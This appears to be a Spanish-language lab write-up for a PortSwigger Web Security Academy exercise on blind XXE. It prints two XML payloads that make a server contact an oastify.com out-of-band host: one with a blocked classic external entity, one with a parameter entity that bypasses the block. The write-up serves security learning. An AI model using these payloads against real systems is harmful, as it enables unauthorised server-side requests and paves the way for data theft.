> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/xxe/blind-xxe-with-out-of-band-parameter-entities.md).

# XXE ciego con entidades de parámetros XML fuera de banda

Notas de XXE ciego con entidades de parámetros XML fuera de banda para laboratorios de PortSwigger Web Security Academy, incluido el flujo de explotación, pruebas de payloads, validación con Burp Suite y contexto de remediación.

### XXE ciega con interacción fuera de banda mediante entidades de parámetro XML

La función Check stock del laboratorio analiza entradas XML. Esto **no muestra** valores inesperados y **bloquea** las entidades externas XML estándar en el lado del servidor.

\*\* Objetivo\*\*/ Explota la vulnerabilidad XXE de forma ciega obligando al analizador XML a realizar una consulta externa (DNS / HTTP) a un servicio OOB (p. ej., Burp Collaborator / Oastify) usando una \*\*entidad de parámetro\*\*.

1/) Entidad externa clásica (bloqueada)

Carga útil enviada — una entidad del sistema referenciada desde una URL externa, y luego llamada desde `<productId>`:

```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY myFile SYSTEM "https://h4m66g65x80x7bwj3ueflms990fr3hr6.oastify.com">]>
<stockCheck>
  <productId>
    &myFile;
  </productId>
  <storeId>
    1
  </storeId>
  </stockCheck>
```

**Resultado observado:** el servidor devuelve el error "Entities are not allowed for security reasons" — la declaración de entidades externas convencionales está bloqueada.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0f2f6fb455bd2952545dc82325adfd98215127bc%2F%7B5613B489-FDD2-4751-9492-545DC89FAD97%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

2/) Intento con entidad de parámetro (enfoque OOB)

Para eludir el bloqueo, probamos el uso de una \*\*entidad de parámetro\*\* — la declaración utiliza `%` y luego inyecta su contenido en la DTD:

{% code overflow="wrap" %}

```xml
<!DOCTYPE foo [<!ENTITY % myFile SYSTEM "https://s70h9r9g0j38amzu65hqoxvkcbi36vuk.oastify.com"> %myFile;]>
```

{% endcode %}

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d6340f1962d20941892c2f1d09d5caf4cc12d953%2F%7B894A66A0-64BD-4859-8B93-FC91B2A90CEF%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


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